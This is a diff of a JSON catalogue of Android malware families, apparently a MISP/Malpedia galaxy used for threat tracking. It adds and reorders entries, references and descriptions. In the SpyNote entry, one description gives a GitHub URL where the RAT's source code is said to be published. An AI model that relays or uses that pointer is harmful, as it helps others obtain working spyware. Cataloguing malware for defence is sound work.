"https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html", + "https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks--using-github-to-hide-its-payload.html", + "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://cryptax.medium.com/tracking-android-joker-payloads-with-medusa-static-analysis-and-patience-672348b81ac2", + "https://muha2xmad.github.io/malware-analysis/hydra/" ], "synonyms": [ "Bread" @@ -1735,9 +1871,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.little_looter", - "https://twitter.com/malwrhunterteam/status/1337684036374945792", - "https://www.youtube.com/watch?v=nilzxS9rxEM", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-The-Kitten-That-Charmed-Me-The-9-Lives-Of-A-Nation-State-Attacker.pdf", + "https://www.youtube.com/watch?v=nilzxS9rxEM", + "https://twitter.com/malwrhunterteam/status/1337684036374945792", "https://securityintelligence.com/posts/itg18-operational-security-errors-plague-iranian-threat-group/" ], "synonyms": [], @@ -1764,13 +1900,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot", - "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html", - "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", - "https://muha2xmad.github.io/mal-document/lokibotpdf/", + "https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", - "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://muha2xmad.github.io/mal-document/lokibotpdf/", + "https://drive.google.com/file/d/144cOnM6fxfuBeP0V2JQshp8C0Zlk_0kH/view", "https://isc.sans.edu/diary/27282", - "https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/Lokibot/Machete-Weapons-Lokibot/Machete%20weapons-Lokibot_EN.pdf" + "https://www.threatfabric.com/blogs/lokibot_the_first_hybrid_android_malware.html", + "https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/" ], "synonyms": [], "type": [] @@ -1809,9 +1945,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.marcher", - "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware", "https://www.clientsidedetection.com/exobot_v2_update___staying_ahead_of_the_competition.html", - "https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware" + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [ "ExoBot" @@ -1841,8 +1977,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.mazarbot", - "https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/", - "https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html" + "https://b0n1.blogspot.de/2017/08/phishing-attack-at-raiffeisen-bank-by.html", + "https://heimdalsecurity.com/blog/security-alert-mazar-bot-active-attacks-android-malware/" ], "synonyms": [], "type": [] @@ -1855,9 +1991,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.medusa", - "https://twitter.com/ThreatFabric/status/1285144962695340032", "https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html" + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://twitter.com/ThreatFabric/status/1285144962695340032" ], "synonyms": [ "Gorgona" @@ -1872,9 +2008,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.meterpreter", - "https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12", + "https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", "https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html", - "https://medium.com/@cryptax/locating-the-trojan-inside-an-infected-covid-19-contact-tracing-app-21e23f90fbfe" + "https://medium.com/@cryptax/into-android-meterpreter-and-how-the-malware-launches-it-part-2-ef5aad2ebf12" ], "synonyms": [], "type": [] @@ -1882,6 +2019,19 @@ "uuid": "e1ae3e4e-5aaf-4ffe-ba2f-7871507f6d52", "value": "Meterpreter (Android)" }, + { + "description": "Check Point has identified samples of this spyware being distributed since 2015. No samples were found on Google Play, meaning they were likely through other channels like social engineering.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.mobile_order", + "https://research.checkpoint.com/2022/never-truly-left-7-years-of-scarlet-mimics-mobile-surveillance-campaign-targeting-uyghurs/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ee19588f-9752-4516-85f4-de18acfc64b3", + "value": "MobileOrder" + }, { "description": "Monokle is a sophisticated mobile surveillanceware that possesses remote access trojan (RAT) functionality, advanced data exfiltration techniques as well as the ability to install an attacker-specified certificate to the trusted certificates on an infected device that would allow for man-in-the-middle (MITM) attacks.\r\nAccording to Lookout researchers, It is believed to be developed by Special Technology Center (STC), which is a Russian defense contractor sanctioned by the U.S. Government in connection to alleged interference in the 2016 US presidential elections.", "meta": { @@ -1900,20 +2050,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.moqhao", - "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", + "https://www.team-cymru.com/post/moqhao-part-3-recent-global-targeting-trends", "https://www.trendmicro.com/en_us/research/18/d/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing.html", - "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", - "https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/", - "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", - "https://securelist.com/roaming-mantis-part-v/96250/", - "https://www.xanhacks.xyz/p/moqhao-malware-analysis", + "https://www.telekom.com/en/blog/group/article/moqhao-masters-new-tricks-1031484", "https://www.trendmicro.com/en_us/research/18/k/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang.html", - "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", - "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", - "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/", "https://team-cymru.com/blog/2021/08/11/moqhao-part-1-5-high-level-trends-of-recent-campaigns-targeting-japan/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/a-look-into-the-connection-between-xloader-and-fakespy-and-their-possible-ties-with-the-yanbian-gang/" + "https://securelist.com/roaming-mantis-dns-changer-in-malicious-mobile-app/108464/", + "https://www.xanhacks.xyz/p/moqhao-malware-analysis", + "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", + "https://team-cymru.com/blog/2022/04/07/moqhao-part-2-continued-european-expansion/", + "https://cryptax.medium.com/a-native-packer-for-android-moqhao-6362a8412fe1", + "https://team-cymru.com/blog/2021/01/20/moqhao-part-1-identifying-phishing-infrastructure/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", + "https://blog.sekoia.io/ongoing-roaming-mantis-smishing-campaign-targeting-france/", + "https://securelist.com/roaming-mantis-part-v/96250/", + "https://medium.com/csis-techblog/the-roamingmantis-groups-expansion-to-european-apple-accounts-and-android-devices-e6381723c681", + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf" ], "synonyms": [ "Shaoye", @@ -1950,6 +2103,20 @@ "uuid": "0a53ace4-98ae-442f-be64-b8e373948bde", "value": "MysteryBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.nexus", + "https://liansecurity.com/#/main/news/RWt_ZocBrFZDfCElFqw_/detail", + "https://www.cleafy.com/cleafy-labs/nexus-a-new-android-botnet" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fe0b4e6e-268e-4c63-a095-bf1ddff95055", + "value": "Nexus" + }, { "description": "", "meta": { @@ -1999,10 +2166,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.phantomlance", - "https://securelist.com/apt-phantomlance/96772/", - "https://securelist.com/it-threat-evolution-q2-2020/98230", "https://drive.google.com/file/d/1m0Qg8e1Len1My6ssDy6F0oQ7JdkJUkuu/view", "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://securelist.com/it-threat-evolution-q2-2020/98230", + "https://securelist.com/apt-phantomlance/96772/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/mobile-malware-report.pdf", "https://threatvector.cylance.com/en_us/home/mobile-malware-and-apt-espionage-prolific-pervasive-and-cross-platform.html" ], @@ -2027,13 +2194,39 @@ "uuid": "ff00bbb6-6856-4cf5-adde-d1cc536dd0e2", "value": "PhoneSpy" }, + { + "description": "According to Mandiant, PINEFLOWER is an Android malware family capable of a wide range of backdoor functionality, including stealing system inform information, logging and recording phone calls, initiating audio recordings, reading SMS inboxes and sending SMS messages. The malware also has features to facilitate device location tracking, deleting, downloading, and uploading files, reading connectivity state, speed, and activity, and toggling Bluetooth, Wi-Fi, and mobile data settings.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pineflower", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a17a7c5d-0a8f-42e7-b4c9-63c258267776", + "value": "PINEFLOWER" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixpirate", + "https://www.cleafy.com/cleafy-labs/pixpirate-a-new-brazilian-banking-trojan" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cdf707bd-a8b0-4ee3-917d-a56b11f30206", + "value": "PixPirate" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pixstealer", - "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/", - "https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/" + "https://research.checkpoint.com/2021/pixstealer-a-new-wave-of-android-banking-trojans-abusing-accessibility-services/", + "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/" ], "synonyms": [ "BrazKing" @@ -2048,9 +2241,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.pjobrat", - "https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ", "https://cybleinc.com/2021/06/22/android-application-disguised-as-dating-app-targets-indian-military-personnel/", - "https://labs.k7computing.com/?p=22537" + "https://labs.k7computing.com/?p=22537", + "https://mp.weixin.qq.com/s/VTHvmRTeu3dw8HFyusKLqQ" ], "synonyms": [], "type": [] @@ -2076,8 +2269,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.popr-d30", - "http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/", - "http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/" + "http://blog.crysys.hu/2017/03/update-on-the-fancy-bear-android-malware-poprd30-apk/", + "http://blog.crysys.hu/2017/01/technical-details-on-the-fancy-bear-android-malware-poprd30-apk/" ], "synonyms": [ "Popr-d30" @@ -2125,6 +2318,20 @@ "uuid": "cdaa0a6d-3709-4e6f-8807-fff388baaba0", "value": "Rafel RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.rambleon", + "https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab", + "https://interlab.or.kr/archives/2567" + ], + "synonyms": [], + "type": [] + }, + "uuid": "41ab3c99-297c-465c-8375-3e9f7ce4b996", + "value": "RambleOn" + }, { "description": "", "meta": { @@ -2138,6 +2345,19 @@ "uuid": "65a8e406-b535-4c0a-bc6d-d1bec3c55623", "value": "Rana" }, + { + "description": "RatMilad, a newly discovered Android spyware, has been stealing data from mobile devices in the Middle East.\r\nThe malware is spread through links on social media and pretends to be applications for services like VPN and phone number spoofing. Unwary users download these trojan applications and grant access to malware. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ratmilad", + "https://socradar.io/new-spyware-ratmilad-targets-middle-eastern-mobile-devices" + ], + "synonyms": [], + "type": [] + }, + "uuid": "542c3e5e-2124-4c36-af05-65893974d5ce", + "value": "RatMilad" + }, { "description": "", "meta": { @@ -2156,8 +2376,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.redalert2", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores", - "https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html" + "https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/red-alert-2-0-android-trojan-spreads-via-third-party-app-stores" ], "synonyms": [], "type": [] @@ -2183,12 +2403,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.retefe", - "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html", "http://blog.dornea.nu/2014/07/07/disect-android-apks-like-a-pro-static-code-analysis/", + "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html", "http://blog.angelalonso.es/2017/02/hunting-retefe-with-splunk-some24.html", "http://maldr0id.blogspot.ch/2014/09/android-malware-based-on-sms-encryption.html", "https://www.govcert.admin.ch/blog/33/the-retefe-saga", - "http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html" + "http://blog.angelalonso.es/2015/10/reversing-c2c-http-emmental.html" ], "synonyms": [], "type": [] @@ -2228,25 +2448,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.roaming_mantis", + "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/", "https://securelist.com/roaming-mantis-reaches-europe/105596/", "https://www.kashifali.ca/2021/05/05/roaming-mantis-amplifies-smishing-campaign-with-os-specific-android-malware/", - "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf", - "https://securelist.com/roaming-mantis-part-v/96250/", "https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/", - "https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/" + "https://securelist.com/roaming-mantis-part-v/96250/", + "https://hitcon.org/2019/CMT/slide-files/d2_s1_r1.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "f35f219a-6eed-11e8-980a-93bb96299951", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "31d2ce1f-44bf-4738-a41d-ddb43466cd82", "value": "Roaming Mantis" }, @@ -2268,8 +2479,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.rootnik", - "https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java", - "https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer" + "https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer", + "https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-analysis-of-the-scope-of-java" ], "synonyms": [], "type": [] @@ -2291,16 +2502,18 @@ "value": "Sauron Locker" }, { - "description": "", + "description": "SharkBot is a piece of malicious software targeting Android Operating Systems (OSes). It is designed to obtain and misuse financial data by redirecting and stealthily initiating money transfers. SharkBot is particularly active in Europe (United Kingdom, Italy, etc.), but its activity has also been detected in the United States.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sharkbot", + "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/", "https://muha2xmad.github.io/malware-analysis/sharkbot/", + "https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/", + "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", "https://www.cleafy.com/cleafy-labs/sharkbot-a-new-generation-of-android-trojan-is-targeting-banks-in-europe", "https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", - "https://blog.fox-it.com/2022/09/02/sharkbot-is-back-in-google-play/", - "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/", - "https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/" + "https://bin.re/blog/the-dgas-of-sharkbot/", + "https://blog.fox-it.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/" ], "synonyms": [], "type": [] @@ -2352,23 +2565,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slempo", - "https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html", - "https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html" + "https://www.pcworld.com/article/3035725/source-code-for-powerful-android-banking-malware-is-leaked.html", + "https://www.fireeye.com/blog/threat-research/2015/12/slembunk_an_evolvin.html" ], "synonyms": [ "SlemBunk" ], "type": [] }, - "related": [ - { - "dest-uuid": "f8047de2-fefc-4ee0-825b-f1fae4b20c09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d87e2574-7b9c-4ea7-98eb-88f3e139f6ff", "value": "Slempo" }, @@ -2377,8 +2581,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.slocker", - "https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/" + "https://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/", + "https://labs.bitdefender.com/2020/05/android-slocker-variant-uses-coronavirus-scare-to-take-android-hostage/" ], "synonyms": [], "type": [] @@ -2391,8 +2595,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.smsagent", - "https://blog.alyac.co.kr/2128", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/" + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/", + "https://blog.alyac.co.kr/2128" ], "synonyms": [], "type": [] @@ -2417,10 +2621,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.sova", - "https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html", "https://muha2xmad.github.io/malware-analysis/sova/", - "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly", - "https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/" + "https://blog.cyble.com/2023/03/09/nexus-the-latest-android-banking-trojan-with-sova-connections", + "https://blog.cyble.com/2021/09/14/deep-dive-analysis-of-s-o-v-a-android-banking-trojan/", + "https://www.threatfabric.com/blogs/sova-new-trojan-with-fowl-intentions.html", + "https://liansecurity.com/#/main/news/RWt_ZocBrFZDfCElFqw_/detail", + "https://www.cleafy.com/cleafy-labs/sova-malware-is-back-and-is-evolving-rapidly" ], "synonyms": [], "type": [] @@ -2433,8 +2639,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spybanker", - "https://news.drweb.com/show/?i=11104&lng=en", - "http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/" + "http://www.welivesecurity.com/2017/02/23/released-android-malware-source-code-used-run-banking-botnet/", + "https://news.drweb.com/show/?i=11104&lng=en" ], "synonyms": [], "type": [] @@ -2460,9 +2666,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spymax", - "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league", + "https://twitter.com/malwrhunterteam/status/1250412485808717826", + "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html", "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", - "https://twitter.com/malwrhunterteam/status/1250412485808717826" + "https://www.zscaler.com/blogs/research/android-spyware-targeting-tanzania-premier-league" ], "synonyms": [], "type": [] @@ -2471,21 +2678,26 @@ "value": "SpyMax" }, { - "description": "", + "description": "The malware has been released on github at https://github.com/EVLF/Cypher-Rat-Source-Code", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.spynote", - "https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", "https://ti.qianxin.com/blog/articles/Blade-hawk-The-activities-of-targeted-the-Middle-East-and-West-Asia-are-exposed/", - "https://labs.k7computing.com/index.php/spynote-an-android-snooper/", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan", - "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", + "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", + "https://www.threatfabric.com/blogs/spynote-rat-targeting-financial-institutions.html", + "https://www.bleepingcomputer.com/news/security/spynote-android-malware-infections-surge-after-source-code-leak/", + "https://labs.k7computing.com/index.php/spynote-an-android-snooper/", + "https://bulldogjob.pl/articles/1200-an-in-depth-analysis-of-spynote-remote-access-trojan", + "https://www.civilsphereproject.org/blog/2021/9/21/capturing-and-detecting-androidtester-remote-access-trojan-with-the-emergency-vpn", + "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr", "https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/", - "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr" + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/" + ], + "synonyms": [ + "CypherRat" ], - "synonyms": [], "type": [] }, "uuid": "31592c69-d540-4617-8253-71ae0c45526c", @@ -2529,15 +2741,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "a33df440-f112-4a5e-a290-3c65dae6091d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "d99c0a47-9d61-4d92-86ec-86a87b060d76", "value": "Svpeng" }, @@ -2623,7 +2826,7 @@ "value": "ThiefBot" }, { - "description": "", + "description": "According to Trend Micro, this malware appears to have been designed to steal credentials associated with membership websites of major Japanese telecommunication services.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.tianyspy", @@ -2656,8 +2859,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan", - "https://www.alienvault.com/blogs/labs-research/delivery-keyboy", - "https://blog.lookout.com/titan-mobile-threat" + "https://blog.lookout.com/titan-mobile-threat", + "https://www.alienvault.com/blogs/labs-research/delivery-keyboy" ], "synonyms": [], "type": [] @@ -2670,16 +2873,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada", - "https://securelist.com/triada-trojan-in-whatsapp-mod/103679/", "https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/", "https://securelist.com/apkpure-android-app-store-infected/101845/", - "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/", + "https://securelist.com/triada-trojan-in-whatsapp-mod/103679/", + "https://security.googleblog.com/2019/06/pha-family-highlights-triada.html", "https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/", + "https://securelist.com/mobile-malware-evolution-2019/96280/", "https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/", "http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html", - "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/", - "https://security.googleblog.com/2019/06/pha-family-highlights-triada.html", - "https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/" + "https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/" ], "synonyms": [], "type": [] @@ -2755,12 +2958,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_005", - "https://blog.talosintelligence.com/2020/10/donot-firestarter.html", - "https://community.riskiq.com/article/6f60db72", - "https://s.tencent.com/research/report/951.html", - "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/", "https://blogs.360.cn/post/APT-C-35_target_at_armed_forces_in_Pakistan.html", - "https://twitter.com/voodoodahl1/status/1267571622732578816" + "https://s.tencent.com/research/report/951.html", + "https://community.riskiq.com/article/6f60db72", + "https://twitter.com/voodoodahl1/status/1267571622732578816", + "https://blog.talosintelligence.com/2020/10/donot-firestarter.html", + "https://cybleinc.com/2021/04/21/donot-team-apt-group-is-back-to-using-old-malicious-patterns/" ], "synonyms": [], "type": [] @@ -2773,10 +2976,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006", - "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749", - "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", "https://twitter.com/ReBensk/status/1438027183490940931", - "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/" + "https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20", + "https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/", + "https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749" ], "synonyms": [], "type": [] @@ -2815,9 +3018,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy", - "https://twitter.com/LukasStefanko/status/1509451238366236674", "https://twitter.com/malwrhunterteam/status/1481312752782258176", - "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww" + "https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww", + "https://twitter.com/LukasStefanko/status/1509451238366236674" ], "synonyms": [], "type": [] @@ -2840,14 +3043,27 @@ "uuid": "1ad5b462-1b0d-4c2f-901d-ead6c9f227bc", "value": "vamp" }, + { + "description": "According to Mandiant, VINETHORN is an Android malware family capable of a wide range of backdoor functionality. It can steal system information, read SMS inboxes, send SMS messages, access contact lists and call histories, record audio and video, and track device location via GPS.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vinethorn", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6da6dfb6-2c50-465c-9394-26695d72e8c7", + "value": "VINETHORN" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat", - "https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/", "https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/", - "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf" + "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf", + "https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/" ], "synonyms": [], "type": [] @@ -2860,6 +3076,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur", + "https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud", + "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", 